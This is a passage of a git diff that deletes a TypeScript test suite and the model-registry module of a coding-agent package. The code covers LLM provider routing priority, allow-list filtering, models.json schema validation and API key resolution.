"ollama-cloud", "kimi-k2"); - registerNone(registry, "kimi-coding", "kimi-k2"); - const result = registry.getModelsForProxy("kimi-k2"); - const providers = result.map((m) => m.provider); - assert.deepEqual(providers, ["kimi-coding", "ollama-cloud", "opencode-go"]); - }); - - it("MiniMax family: direct providers before subscribed/free relays, never OpenRouter", () => { - const registry = createRegistry(); - registerNone(registry, "openrouter", "MiniMax-Text-01"); - registerNone(registry, "ollama-cloud", "MiniMax-Text-01"); - registerNone(registry, "opencode-go", "MiniMax-Text-01"); - registerNone(registry, "minimax-cn", "MiniMax-Text-01"); - registerNone(registry, "minimax", "MiniMax-Text-01"); - const result = registry.getModelsForProxy("MiniMax-Text-01"); - const providers = result.map((m) => m.provider); - assert.deepEqual(providers, ["minimax", "opencode-go", "ollama-cloud"]); - }); - - it("Gemini family: google-gemini-cli only for bare model routing", () => { - const registry = createRegistry(); - registerNone(registry, "google-vertex", "gemini-2.5-pro"); - registerNone(registry, "google", "gemini-2.5-pro"); - registerNone(registry, "google-gemini-cli", "gemini-2.5-pro"); - const result = registry.getModelsForProxy("gemini-2.5-pro"); - const providers = result.map((m) => m.provider); - assert.deepEqual(providers, ["google-gemini-cli"]); - }); - - it("provider not in any family rule falls back to end of list", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "unknown-model"); - registerNone(registry, "unknown-aggregator", "unknown-model"); - const result = registry.getModelsForProxy("unknown-model"); - const providers = result.map((m) => m.provider); - assert.equal(providers[0], "zai"); - assert.equal(providers[providers.length - 1], "unknown-aggregator"); - }); -}); - -// ── getModelsForProxy — auth-ready candidates first ─────────────────────────── - -describe("ModelRegistry.getModelsForProxy — auth-ready candidates first", () => { - it("provider with auth precedes same-priority provider without auth", () => { - // zai has auth (hasAuth → true), opencode-go does not - const registry = createRegistry((p) => p === "zai"); - registerApiKey(registry, "zai", "glm-4-air"); - registerApiKey(registry, "opencode-go", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - const providers = result.map((m) => m.provider); - // zai is already first by family priority AND by auth — stays first - assert.equal(providers[0], "zai"); - }); - - it("lower-priority provider with auth beats higher-priority one without auth", () => { - // opencode-go has auth, zai does not - const registry = createRegistry((p) => p === "opencode-go"); - registerApiKey(registry, "zai", "glm-4-air"); - registerApiKey(registry, "opencode-go", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - // opencode-go has auth so moves to withAuth bucket (before zai which has none) - const providers = result.map((m) => m.provider); - assert.equal( - providers[0], - "opencode-go", - "auth-ready provider surfaces first regardless of family order", - ); - }); - - it("none-auth providers are always request-ready and not demoted", () => { - const registry = createRegistry(() => false); - registerNone(registry, "zai", "glm-4-air"); - registerNone(registry, "opencode-go", "glm-4-air"); - const result = registry.getModelsForProxy("glm-4-air"); - // Both none-auth — family order preserved - assert.equal(result[0].provider, "zai"); - }); -}); - -// ── getModelsForProxy — overrides ───────────────────────────────────────────── - -describe("ModelRegistry.getModelsForProxy — priority overrides", () => { - it("override by prefix replaces family priority for matching models", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "glm-4-air"); - registerNone(registry, "opencode", "glm-4-air"); - // Override: prefer opencode first for glm- models - const result = registry.getModelsForProxy("glm-4-air", { - "glm-": ["opencode", "zai"], - }); - const providers = result.map((m) => m.provider); - assert.equal(providers[0], "opencode", "override must reorder providers"); - assert.equal(providers[1], "zai"); - }); - - it("override does not affect models with non-matching prefix", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "glm-4-air"); - registerNone(registry, "opencode", "glm-4-air"); - // Override for kimi- should not affect glm- resolution - const result = registry.getModelsForProxy("glm-4-air", { - "kimi-": ["opencode"], - }); - assert.equal( - result[0].provider, - "zai", - "family default must apply when override prefix doesn't match", - ); - }); -}); - -// ── getModel (convenience wrapper) ─────────────────────────────────────────── - -describe("ModelRegistry.getModel — convenience wrapper", () => { - it("returns undefined for unknown model", () => { - const registry = createRegistry(); - assert.equal(registry.getModel("no-such-model"), undefined); - }); - - it("returns highest-priority candidate", () => { - const registry = createRegistry(); - registerNone(registry, "opencode", "glm-4-air"); - registerNone(registry, "zai", "glm-4-air"); - const model = registry.getModel("glm-4-air"); - assert.ok(model); - assert.equal(model.provider, "zai"); - }); -}); - -// ── provider_model_allow final filter ───────────────────────────────────────── - -describe("ModelRegistry provider_model_allow filter", () => { - it("keeps an allowed provider/model candidate", () => { - const registry = createRegistry(); - registerNone(registry, "minimax", "MiniMax-M2.7"); - - const result = registry.getModelsForProxy( - "MiniMax-M2.7", - {}, - { - minimax: ["MiniMax-M2.7"], - }, - ); - - assert.ok( - result.some( - (model) => model.provider === "minimax" && model.id === "MiniMax-M2.7", - ), - "allowed minimax/MiniMax-M2.7 candidate should survive filtering", - ); - }); - - it("filters a disallowed provider/model candidate and falls through", () => { - const registry = createRegistry(); - registerNone(registry, "minimax", "MiniMax-M2"); - registerNone(registry, "minimax-cn", "MiniMax-M2"); - registerNone(registry, "opencode-go", "MiniMax-M2"); - - const result = registry.getModelsForProxy( - "MiniMax-M2", - {}, - { - minimax: ["MiniMax-M2.7"], - }, - ); - - assert.deepEqual( - result.map((m) => `${m.provider}/${m.id}`), - ["opencode-go/MiniMax-M2"], - ); - }); - - it("leaves providers absent from the allow-list unrestricted", () => { - const registry = createRegistry(); - registerNone(registry, "zai", "glm-4-air"); - - const result = registry.getModelsForProxy( - "glm-4-air", - {}, - { - minimax: ["MiniMax-M2.7"], - }, - ); - - assert.deepEqual( - result.map((m) => `${m.provider}/${m.id}`), - ["zai/glm-4-air"], - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/model-registry.ts b/packages/pi-coding-agent/src/core/model-registry.ts deleted file mode 100644 index 006f911d3..000000000 --- a/packages/pi-coding-agent/src/core/model-registry.ts +++ /dev/null @@ -1,1496 +0,0 @@ -/** - * Model registry - manages built-in and custom models, provides API key resolution. - */ - -import { existsSync, readFileSync } from "node:fs"; -import { join } from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import { - type Api, - type AssistantMessageEventStream, - applyCapabilityPatches, - type Context, - getApiProvider, - getEnvApiKey, - getModels, - getProviders, - type KnownProvider, - type Model, - type OAuthProviderInterface, - type OpenAICompletionsCompat, - type OpenAIResponsesCompat, - registerApiProvider, - resetApiProviders, - type SimpleStreamOptions, -} from "@singularity-forge/pi-ai"; -import { - registerOAuthProvider, - resetOAuthProviders, -} from "@singularity-forge/pi-ai/oauth"; -import AjvModule from "ajv"; -import { getAgentDir } from "../config.js"; -import type { AuthStorage } from "./auth-storage.js"; -import { ModelDiscoveryCache } from "./discovery-cache.js"; -import { isLocalModel } from "./local-model-check.js"; -import type { DiscoveryResult } from "./model-discovery.js"; -import { - getDiscoverableCatalogSources, - getDiscoverableProviders, - getDiscoveryAdapter, -} from "./model-discovery.js"; -import { resolveConfigValue, resolveHeaders } from "./resolve-config-value.js"; -import type { SettingsManager } from "./settings-manager.js"; - -const Ajv = (AjvModule as any).default || AjvModule; -const ajv = new Ajv(); - -// ── Proxy provider priority ────────────────────────────────────────────────── - -/** Global fallback chain appended after every family's direct providers. */ -export const GLOBAL_PROVIDER_FALLBACK: readonly string[] = [ - "opencode", - "opencode-go", - "openrouter", - "ollama-cloud", -]; - -/** - * Per-family direct-provider priority. Each entry lists only the preferred - * direct providers for that family. GLOBAL_PROVIDER_FALLBACK is always - * appended after these when building the effective resolution order. - */ -export const PROXY_FAMILY_PRIORITY: ReadonlyArray<{ - match: RegExp; - /** Canonical key used when matching settings.proxy.providerPriority overrides */ - prefix: string; - /** True direct providers — the vendor or first-party endpoint. Tried first. */ - providers: string[]; - /** - * Family-scoped failover providers — re-servers/proxies that serve this - * family but aren't the vendor. Tried AFTER direct providers but BEFORE - * the generic GLOBAL_PROVIDER_FALLBACK. Kept separate so the config is - * honest about which endpoints are "native" vs "via intermediary". - */ - family_failover?: string[]; - /** Disable generic fallback for families that must stay on one provider. */ - global_fallback?: boolean; -}> = [ - // MiniMax direct (api.minimax.io) → CN endpoint as its direct pair - { - match: /^MiniMax-/i, - prefix: "MiniMax-", - providers: ["minimax"], - family_failover: ["opencode-go", "ollama-cloud"], - global_fallback: false, - }, - // ZAI direct API for GLM - { - match: /^glm-|^z-ai\/glm-/i, - prefix: "glm-", - providers: ["zai"], - family_failover: ["opencode-go", "ollama-cloud"], - global_fallback: false, - }, - // Kimi Code direct API - { - match: /^kimi-|^moonshotai\/kimi-/i, - prefix: "kimi-", - providers: ["kimi-coding"], - family_failover: ["ollama-cloud", "opencode-go"], - global_fallback: false, - }, - // MiMo/Xiaomi — direct API via Xiaomi MiMo Open Platform (api.xiaomimimo.com) - // or the Token Plan endpoint (token-plan-sgp.xiaomimimo.com). Both served - // under the `xiaomi` provider namespace. - { - match: /^mimo-|^xiaomi\/mimo-|^XiaomiMiMo\//i, - prefix: "mimo-", - providers: ["xiaomi"], - family_failover: ["opencode-go", "ollama-cloud"], - global_fallback: false, - }, - // Gemini/Gemma: route bare model IDs through google-gemini-cli only. - // Direct GenAI and Vertex providers stay explicit provider-qualified routes, - // but they are hidden from normal SF/TUI selection and default fallback. - { - match: /^gemini-|^gemma-/i, - prefix: "gemini-", - providers: ["google-gemini-cli"], - global_fallback: false, - }, - // Claude: Anthropic is the default provider. Copilot is disabled. - { - match: /^claude-/i, - prefix: "claude-", - providers: ["anthropic"], - }, - // GPT / o-series / codex: OpenAI is direct. azure-openai-responses is - // Microsoft's re-serving of OpenAI weights — treated as failover. Copilot is disabled. - { - match: /^gpt-|^o\d|^codex-/i, - prefix: "gpt-", - providers: ["openai"], - family_failover: ["azure-openai-responses", "openai-codex"], - }, -]; - -// ── Schema for OpenRouter routing preferences -const OpenRouterRoutingSchema = Type.Object({ - only: Type.Optional(Type.Array(Type.String())), - order: Type.Optional(Type.Array(Type.String())), -}); - -// Schema for Vercel AI Gateway routing preferences -const VercelGatewayRoutingSchema = Type.Object({ - only: Type.Optional(Type.Array(Type.String())), - order: Type.Optional(Type.Array(Type.String())), -}); - -// Schema for OpenAI compatibility settings -const OpenAICompletionsCompatSchema = Type.Object({ - supportsStore: Type.Optional(Type.Boolean()), - supportsDeveloperRole: Type.Optional(Type.Boolean()), - supportsReasoningEffort: Type.Optional(Type.Boolean()), - supportsUsageInStreaming: Type.Optional(Type.Boolean()), - maxTokensField: Type.Optional( - Type.Union([ - Type.Literal("max_completion_tokens"), - Type.Literal("max_tokens"), - ]), - ), - requiresToolResultName: Type.Optional(Type.Boolean()), - requiresAssistantAfterToolResult: Type.Optional(Type.Boolean()), - requiresThinkingAsText: Type.Optional(Type.Boolean()), - requiresMistralToolIds: Type.Optional(Type.Boolean()), - thinkingFormat: Type.Optional( - Type.Union([ - Type.Literal("openai"), - Type.Literal("zai"), - Type.Literal("qwen"), - ]), - ), - openRouterRouting: Type.Optional(OpenRouterRoutingSchema), - vercelGatewayRouting: Type.Optional(VercelGatewayRoutingSchema), -}); - -const OpenAIResponsesCompatSchema = Type.Object({ - // Reserved for future use -}); - -const OpenAICompatSchema = Type.Union([ - OpenAICompletionsCompatSchema, - OpenAIResponsesCompatSchema, -]); - -// Schema for custom model definition -// Most fields are optional with sensible defaults for local models (Ollama, LM Studio, etc.) -const ModelDefinitionSchema = Type.Object({ - id: Type.String({ minLength: 1 }), - name: Type.Optional(Type.String({ minLength: 1 })), - api: Type.Optional(Type.String({ minLength: 1 })), - baseUrl: Type.Optional(Type.String({ minLength: 1 })), - reasoning: Type.Optional(Type.Boolean()), - input: Type.Optional( - Type.Array(Type.Union([Type.Literal("text"), Type.Literal("image")])), - ), - cost: Type.Optional( - Type.Object({ - input: Type.Number(), - output: Type.Number(), - cacheRead: Type.Number(), - cacheWrite: Type.Number(), - }), - ), - contextWindow: Type.Optional(Type.Number()), - maxTokens: Type.Optional(Type.Number()), - headers: Type.Optional(Type.Record(Type.String(), Type.String())), - compat: Type.Optional(OpenAICompatSchema), -}); - -// Schema for per-model overrides (all fields optional, merged with built-in model) -const ModelOverrideSchema = Type.Object({ - name: Type.Optional(Type.String({ minLength: 1 })), - reasoning: Type.Optional(Type.Boolean()), - input: Type.Optional( - Type.Array(Type.Union([Type.Literal("text"), Type.Literal("image")])), - ), - cost: Type.Optional( - Type.Object({ - input: Type.Optional(Type.Number()), - output: Type.Optional(Type.Number()), - cacheRead: Type.Optional(Type.Number()), - cacheWrite: Type.Optional(Type.Number()), - }), - ), - contextWindow: Type.Optional(Type.Number()), - maxTokens: Type.Optional(Type.Number()), - headers: Type.Optional(Type.Record(Type.String(), Type.String())), - compat: Type.Optional(OpenAICompatSchema), -}); - -type ModelOverride = Static; - -const ProviderConfigSchema = Type.Object({ - baseUrl: Type.Optional(Type.String({ minLength: 1 })), - apiKey: Type.Optional(Type.String({ minLength: 1 })), - api: Type.Optional(Type.String({ minLength: 1 })), - headers: Type.Optional(Type.Record(Type.String(), Type.String())), - authHeader: Type.Optional(Type.Boolean()), - models: Type.Optional(Type.Array(ModelDefinitionSchema)), - modelOverrides: Type.Optional( - Type.Record(Type.String(), ModelOverrideSchema), - ), -}); - -const ModelsConfigSchema = Type.Object({ - providers: Type.Record(Type.String(), ProviderConfigSchema), -}); - -ajv.addSchema(ModelsConfigSchema, "ModelsConfig"); - -type ModelsConfig = Static; - -export type ProviderModelAllowList = Record; - -export type ProviderAuthMode = "apiKey" | "oauth" | "externalCli" | "none"; - -type ProviderPolicyModel = Pick, "provider" | "id"> & - Partial, "name" | "cost">>; - -const OPENCODE_FREE_MODEL_IDS = new Set([ - "big-pickle", - "gpt-5-nano", - "minimax-m2.5-free", - "nemotron-3-super-free", -]); - -const HIDDEN_MODEL_PROVIDERS = new Set([ - "claude-code", - "google", - "google-vertex", - "groq", - "github-copilot", - "minimax-cn", - "xai", - "xiaomi-token-plan-ams", - "xiaomi-token-plan-cn", - "xiaomi-token-plan-sgp", -]); - -const BUILTIN_EXTERNAL_CLI_AUTH_PROVIDERS = new Set(["google-gemini-cli"]); - -function providerModelAllowEntryMatches( - allowedModel: string, - modelKey: string, -): boolean { - const allowedKey = allowedModel.trim().toLowerCase(); - if (!allowedKey) return false; - if (allowedKey === modelKey) return true; - if (allowedKey.startsWith(":")) return modelKey.endsWith(allowedKey); - if (!allowedKey.includes("*")) return false; - const pattern = `^${allowedKey - .split("*") - .map((part) => part.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")) - .join(".*")}$`; - return new RegExp(pattern).test(modelKey); -} - -function hasFreeSkuMarker(value: string | undefined): boolean { - return /(^|[-_:/\s])free($|[-_:/\s])/i.test(value ?? ""); -} - -function isZeroCost(cost: Model["cost"] | undefined): boolean { - return ( - !!cost && - cost.input === 0 && - cost.output === 0 && - cost.cacheRead === 0 && - cost.cacheWrite === 0 - ); -} - -function isMistralSelectionModel(modelId: string): boolean { - const modelKey = modelId.trim().toLowerCase(); - if ( - modelKey.startsWith("ft:") || - modelKey.includes("embed") || - modelKey.includes("moderation") || - modelKey.includes("ocr") || - modelKey.includes("voxtral") || - modelKey.includes("transcribe") || - modelKey.includes("tts") || - modelKey.includes("realtime") - ) { - return false; - } - return true; -} - -function isModelAllowedByBuiltInProviderPolicy( - model: ProviderPolicyModel, -): boolean { - const provider = model.provider.toLowerCase(); - const modelKey = model.id.trim().toLowerCase(); - if (HIDDEN_MODEL_PROVIDERS.has(provider)) { - return false; - } - if (modelKey.includes("grok") || modelKey.startsWith("x-ai/")) { - return false; - } - if (provider === "mistral") { - return isMistralSelectionModel(model.id); - } - if (provider === "openrouter") { - return ( - providerModelAllowEntryMatches(":free", modelKey) || - isZeroCost(model.cost) - ); - } - if (provider === "opencode") { - return ( - OPENCODE_FREE_MODEL_IDS.has(modelKey) || - hasFreeSkuMarker(model.id) || - hasFreeSkuMarker(model.name) || - isZeroCost(model.cost) - ); - } - return true; -} - -/** Provider override config (baseUrl, headers, apiKey) without custom models */ -interface ProviderOverride { - baseUrl?: string; - headers?: Record; - apiKey?: string; -} - -/** Result of loading custom models from models.json */ -interface CustomModelsResult { - models: Model[]; - /** Providers with baseUrl/headers/apiKey overrides for built-in models */ - overrides: Map; - /** Per-model overrides: provider -> modelId -> override */ - modelOverrides: Map>; - error: string | undefined; -} - -function emptyCustomModelsResult(error?: string): CustomModelsResult { - return { models: [], overrides: new Map(), modelOverrides: new Map(), error }; -} - -function mergeCompat( - baseCompat: Model["compat"], - overrideCompat: ModelOverride["compat"], -): Model["compat"] | undefined { - if (!overrideCompat) return baseCompat; - - const base = baseCompat as - | OpenAICompletionsCompat - | OpenAIResponsesCompat - | undefined; - const override = overrideCompat as - | OpenAICompletionsCompat - | OpenAIResponsesCompat; - const merged = { ...base, ...override } as - | OpenAICompletionsCompat - | OpenAIResponsesCompat; - - const baseCompletions = base as OpenAICompletionsCompat | undefined; - const overrideCompletions = override as OpenAICompletionsCompat; - const mergedCompletions = merged as OpenAICompletionsCompat; - - if ( - baseCompletions?.openRouterRouting || - overrideCompletions.openRouterRouting - ) { - mergedCompletions.openRouterRouting = { - ...baseCompletions?.openRouterRouting, - ...overrideCompletions.openRouterRouting, - }; - } - - if ( - baseCompletions?.vercelGatewayRouting || - overrideCompletions.vercelGatewayRouting - ) { - mergedCompletions.vercelGatewayRouting = { - ...baseCompletions?.vercelGatewayRouting, - ...overrideCompletions.vercelGatewayRouting, - }; - } - - return merged as Model["compat"]; -} - -/** - * Deep merge a model override into a model. - * Handles nested objects (cost, compat) by merging rather than replacing. - */ -function applyModelOverride( - model: Model, - override: ModelOverride, -): Model { - const result = { ...model }; - - // Simple field overrides - if (override.name !== undefined) result.name = override.name; - if (override.reasoning !== undefined) result.reasoning = override.reasoning; - if (override.input !== undefined) - result.input = override.input as ("text" | "image")[]; - if (override.contextWindow !== undefined) - result.contextWindow = override.contextWindow; - if (override.maxTokens !== undefined) result.maxTokens = override.maxTokens; - - // Merge cost (partial override) - if (override.cost) { - result.cost = { - input: override.cost.input ?? model.cost.input, - output: override.cost.output ?? model.cost.output, - cacheRead: override.cost.cacheRead ?? model.cost.cacheRead, - cacheWrite: override.cost.cacheWrite ?? model.cost.cacheWrite, - }; - } - - // Merge headers - if (override.headers) { - const resolvedHeaders = resolveHeaders(override.headers); - result.headers = resolvedHeaders - ? { ...model.headers, ...resolvedHeaders } - : model.headers; - } - - // Deep merge compat - result.compat = mergeCompat(model.compat, override.compat); - - return result; -} - -/** - * Model registry - loads and manages models, resolves API keys via AuthStorage. - */ -export class ModelRegistry { - private models: Model[] = []; - private discoveredModels: Model[] = []; - private discoveryCache: ModelDiscoveryCache; - private customProviderApiKeys: Map = new Map(); - private registeredProviders: Map = new Map(); - private loadError: string | undefined = undefined; - - constructor( - readonly authStorage: AuthStorage, - readonly modelsJsonPath: string | undefined = join( - getAgentDir(), - "models.json", - ), - private readonly settingsManager?: SettingsManager, - discoveryCache?: ModelDiscoveryCache, - ) { - this.discoveryCache = discoveryCache ?? new ModelDiscoveryCache(); - ( - this.authStorage as { - setEnvAuthModeResolver?: ( - resolver: (provider: string) => string, - ) => void; - } - ).setEnvAuthModeResolver?.( - (provider) => - this.settingsManager?.getProviderEnvAuthMode(provider) ?? - (provider === "google" || provider === "google-gemini-cli" - ? "off" - : "auto"), - ); - - // Set up fallback resolver for custom provider API keys - this.authStorage.setFallbackResolver((provider) => { - const keyConfig = this.customProviderApiKeys.get(provider); - if (keyConfig) { - return resolveConfigValue(keyConfig); - } - if ( - (this.settingsManager?.getProviderEnvAuthMode(provider) ?? - (provider === "google" || provider === "google-gemini-cli" - ? "off" - : "auto")) === "off" - ) { - return undefined; - } - return getEnvApiKey(provider); - }); - - // Refresh models when credentials change (e.g., OAuth token refresh with new model limits) - this.authStorage.onCredentialChange(() => this.refresh()); - - // Load models - this.loadModels(); - } - - /** - * Reload models from disk (built-in + custom from models.json). - */ - refresh(): void { - this.customProviderApiKeys.clear(); - this.loadError = undefined; - - // Ensure dynamic API/OAuth registrations are rebuilt from current provider state. - resetApiProviders(); - resetOAuthProviders(); - - this.loadModels(); - - for (const [providerName, config] of this.registeredProviders.entries()) { - this.applyProviderConfig(providerName, config); - } - } - - /** - * Get any error from loading models.json (undefined if no error). - */ - getError(): string | undefined { - return this.loadError; - } - - private loadModels(): void { - // Load custom models and overrides from models.json - const { - models: customModels, - overrides, - modelOverrides, - error, - } = this.modelsJsonPath - ? this.loadCustomModels(this.modelsJsonPath) - : emptyCustomModelsResult(); - - if (error) { - this.loadError = error; - // Keep built-in models even if custom models failed to load - } - - const builtInModels = this.loadBuiltInModels(overrides, modelOverrides); - let combined = this.mergeCustomModels(builtInModels, customModels); - - // Let OAuth providers modify their models (e.g., update baseUrl) - for (const oauthProvider of this.authStorage.getOAuthProviders()) { - const cred = this.authStorage.get(oauthProvider.id); - if (cred?.type === "oauth" && oauthProvider.modifyModels) { - combined = oauthProvider.modifyModels(combined, cred); - } - } - - // Apply capability patches so custom/discovered/extension models get - // capabilities (supportsXhigh, supportsServiceTier, etc.) that the - // static pi-ai registry applies at module load for built-in models. - this.models = applyCapabilityPatches(combined); - } - - /** Load built-in models and apply provider/model overrides */ - private loadBuiltInModels( - overrides: Map, - modelOverrides: Map>, - ): Model[] { - return getProviders().flatMap((provider) => { - const models = getModels(provider as KnownProvider) as Model[]; - const providerOverride = overrides.get(provider); - const perModelOverrides = modelOverrides.get(provider); - - return models.map((m) => { - let model = m; - - // Apply provider-level baseUrl/headers override - if (providerOverride) { - const resolvedHeaders = resolveHeaders(providerOverride.headers); - model = { - ...model, - baseUrl: providerOverride.baseUrl ?? model.baseUrl, - headers: resolvedHeaders - ? { ...model.headers, ...resolvedHeaders } - : model.headers, - }; - } - - // Apply per-model override - const modelOverride = perModelOverrides?.get(m.id); - if (modelOverride) { - model = applyModelOverride(model, modelOverride); - } - - return model; - }); - }); - } - - /** Merge custom models into built-in list by provider+id (custom wins on conflicts). */ - private mergeCustomModels( - builtInModels: Model[], - customModels: Model[], - ): Model[] { - const merged = [...builtInModels]; - for (const customModel of customModels) { - const existingIndex = merged.findIndex( - (m) => m.provider === customModel.provider && m.id === customModel.id, - ); - if (existingIndex >= 0) { - merged[existingIndex] = customModel; - } else { - merged.push(customModel); - } - } - return merged; - } - - private isProviderModelAllowed( - model: ProviderPolicyModel, - providerModelAllow?: ProviderModelAllowList, - ): boolean { - if (!isModelAllowedByBuiltInProviderPolicy(model)) return false; - if (!providerModelAllow) return true; - const providerKey = model.provider.toLowerCase(); - const allowedModels = - providerModelAllow[providerKey] ?? - Object.entries(providerModelAllow).find( - ([key]) => key.toLowerCase() === providerKey, - )?.[1]; - if (allowedModels === undefined) return true; - const modelKey = model.id.trim().toLowerCase(); - return allowedModels.some((allowedModel) => - providerModelAllowEntryMatches(allowedModel, modelKey), - ); - } - - private filterProviderModelAllow>( - models: T[], - providerModelAllow?: ProviderModelAllowList, - ): T[] { - return models.filter((model) => - this.isProviderModelAllowed(model, providerModelAllow), - ); - } - - private loadCustomModels(modelsJsonPath: string): CustomModelsResult { - if (!existsSync(modelsJsonPath)) { - return emptyCustomModelsResult(); - } - - try { - const content = readFileSync(modelsJsonPath, "utf-8"); - const config: ModelsConfig = JSON.parse(content); - - // Validate schema - const validate = ajv.getSchema("ModelsConfig")!; - if (!validate(config)) { - const errors = - validate.errors - ?.map((e: any) => ` - ${e.instancePath || "root"}: ${e.message}`) - .join("\n") || "Unknown schema error"; - return emptyCustomModelsResult( - `Invalid models.json schema:\n${errors}\n\nFile: ${modelsJsonPath}`, - ); - } - - // Additional validation - this.validateConfig(config); - - const overrides = new Map(); - const modelOverrides = new Map>(); - - for (const [providerName, providerConfig] of Object.entries( - config.providers, - )) { - // Apply provider-level baseUrl/headers/apiKey override to built-in models when configured. - if ( - providerConfig.baseUrl || - providerConfig.headers || - providerConfig.apiKey - ) { - overrides.set(providerName, { - baseUrl: providerConfig.baseUrl, - headers: providerConfig.headers, - apiKey: providerConfig.apiKey, - }); - } - - // Store API key for fallback resolver. - if (providerConfig.apiKey) { - this.customProviderApiKeys.set(providerName, providerConfig.apiKey); - } - - if (providerConfig.modelOverrides) { - modelOverrides.set( - providerName, - new Map(Object.entries(providerConfig.modelOverrides)), - ); - } - } - - return { - models: this.parseModels(config), - overrides, - modelOverrides, - error: undefined, - }; - } catch (error) { - if (error instanceof SyntaxError) { - return emptyCustomModelsResult( - `Failed to parse models.json: ${error.message}\n\nFile: ${modelsJsonPath}`, - ); - } - return emptyCustomModelsResult( - `Failed to load models.json: ${error instanceof Error ? error.message : error}\n\nFile: ${modelsJsonPath}`, - ); - } - } - - private validateConfig(config: ModelsConfig): void { - for (const [providerName, providerConfig] of Object.entries( - config.providers, - )) { - const hasProviderApi = !!providerConfig.api; - const models = providerConfig.models ?? []; - const hasModelOverrides = - providerConfig.modelOverrides && - Object.keys(providerConfig.modelOverrides).length > 0; - - if (models.length === 0) { - // Override-only config: needs baseUrl OR modelOverrides (or both) - if (!providerConfig.baseUrl && !hasModelOverrides) { - throw new Error( - `Provider ${providerName}: must specify "baseUrl", "modelOverrides", or "models".`, - ); - } - } else { - // Custom models are merged into provider models and require endpoint + auth. - if (!providerConfig.baseUrl) { - throw new Error( - `Provider ${providerName}: "baseUrl" is required when defining custom models.`, - ); - } - if (!providerConfig.apiKey) { - throw new Error( - `Provider ${providerName}: "apiKey" is required when defining custom models.`, - ); - } - } - - for (const modelDef of models) { - const hasModelApi = !!modelDef.api; - - if (!hasProviderApi && !hasModelApi) { - throw new Error( - `Provider ${providerName}, model ${modelDef.id}: no "api" specified. Set at provider or model level.`, - ); - } - - if (!modelDef.id) - throw new Error(`Provider ${providerName}: model missing "id"`); - // Validate contextWindow/maxTokens only if provided (they have defaults) - if (modelDef.contextWindow !== undefined && modelDef.contextWindow <= 0) - throw new Error( - `Provider ${providerName}, model ${modelDef.id}: invalid contextWindow`, - ); - if (modelDef.maxTokens !== undefined && modelDef.maxTokens <= 0) - throw new Error( - `Provider ${providerName}, model ${modelDef.id}: invalid maxTokens`, - ); - } - } - } - - private parseModels(config: ModelsConfig): Model[] { - const models: Model[] = []; - - for (const [providerName, providerConfig] of Object.entries( - config.providers, - )) { - const modelDefs = providerConfig.models ?? []; - if (modelDefs.length === 0) continue; // Override-only, no custom models - - // Store API key config for fallback resolver - if (providerConfig.apiKey) { - this.customProviderApiKeys.set(providerName, providerConfig.apiKey); - } - - // Register custom providers so isProviderRequestReady() can find - // them (#3531). Without this, models.json providers with apiKey - // fail the auth check and are invisible to the fallback resolver. - if (!this.registeredProviders.has(providerName)) { - this.registeredProviders.set(providerName, { - authMode: providerConfig.apiKey ? "apiKey" : "none", - apiKey: providerConfig.apiKey, - baseUrl: providerConfig.baseUrl, - isReady: providerConfig.apiKey ? () => true : undefined, - } as any); - } - - for (const modelDef of modelDefs) { - const api = modelDef.api || providerConfig.api; - if (!api) continue; - - // Merge headers: provider headers are base, model headers override - // Resolve env vars and shell commands in header values - const providerHeaders = resolveHeaders(providerConfig.headers); - const modelHeaders = resolveHeaders(modelDef.headers); - let headers = - providerHeaders || modelHeaders - ? { ...providerHeaders, ...modelHeaders } - : undefined; - - // If authHeader is true, add Authorization header with resolved API key - if (providerConfig.authHeader && providerConfig.apiKey) { - const resolvedKey = resolveConfigValue(providerConfig.apiKey); - if (resolvedKey) { - headers = { ...headers, Authorization: `Bearer ${resolvedKey}` }; - } - } - - // Provider baseUrl is required when custom models are defined. - // Individual models can override it with modelDef.baseUrl. - const defaultCost = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }; - models.push({ - id: modelDef.id, - name: modelDef.name ?? modelDef.id, - api: api as Api, - provider: providerName, - baseUrl: modelDef.baseUrl ?? providerConfig.baseUrl!, - reasoning: modelDef.reasoning ?? false, - input: (modelDef.input ?? ["text"]) as ("text" | "image")[], - cost: modelDef.cost ?? defaultCost, - contextWindow: modelDef.contextWindow ?? 128000, - maxTokens: modelDef.maxTokens ?? 16384, - headers, - compat: modelDef.compat, - } as Model); - } - } - - return models; - } - - /** - * Get all models (built-in + custom). - * If models.json had errors, returns only built-in models. - */ - getAll(providerModelAllow?: ProviderModelAllowList): Model[] { - return this.filterProviderModelAllow(this.models, providerModelAllow); - } - - /** - * Get only models that have auth configured. - * This is a fast check that doesn't refresh OAuth tokens. - */ - getAvailable(providerModelAllow?: ProviderModelAllowList): Model[] { - return this.filterProviderModelAllow( - this.getAllWithDiscovered().filter( - (m) => - this.isModelEnabled(m) && this.isProviderRequestReady(m.provider), - ), - providerModelAllow, - ); - } - - /** - * Get auth mode for a provider. - * Defaults to "apiKey" for built-ins and providers without explicit mode. - */ - getProviderAuthMode(provider: string): ProviderAuthMode { - if (BUILTIN_EXTERNAL_CLI_AUTH_PROVIDERS.has(provider)) return "externalCli"; - const config = this.registeredProviders.get(provider); - if (!config) return "apiKey"; - if (config.authMode) return config.authMode; - if (config.oauth) return "oauth"; - if (config.apiKey) return "apiKey"; - return "apiKey"; - } - - /** - * Whether a provider can be used for requests/fallback without hard auth gating. - */ - isProviderRequestReady(provider: string): boolean { - if (this.settingsManager?.isProviderDisabled(provider)) return false; - const config = this.registeredProviders.get(provider); - if (config?.isReady) return config.isReady(); - const authMode = this.getProviderAuthMode(provider); - if (authMode === "externalCli" || authMode === "none") return true; - return this.authStorage.hasAuth(provider); - } - - /** - * Find a model by provider and ID. - */ - find(provider: string, modelId: string): Model | undefined { - return this.filterProviderModelAllow( - this.models.filter( - (m) => - m.provider === provider && m.id === modelId && this.isModelEnabled(m), - ), - )[0]; - } - - isModelEnabled(model: Pick, "provider" | "id">): boolean { - if (this.settingsManager?.isProviderDisabled(model.provider)) return false; - if (this.settingsManager?.isModelDisabled(model.provider, model.id)) - return false; - return true; - } - - /** - * Get API key for a model. - * Returns undefined for externalCli/none providers (no key needed). - * @param sessionId - Optional session ID for 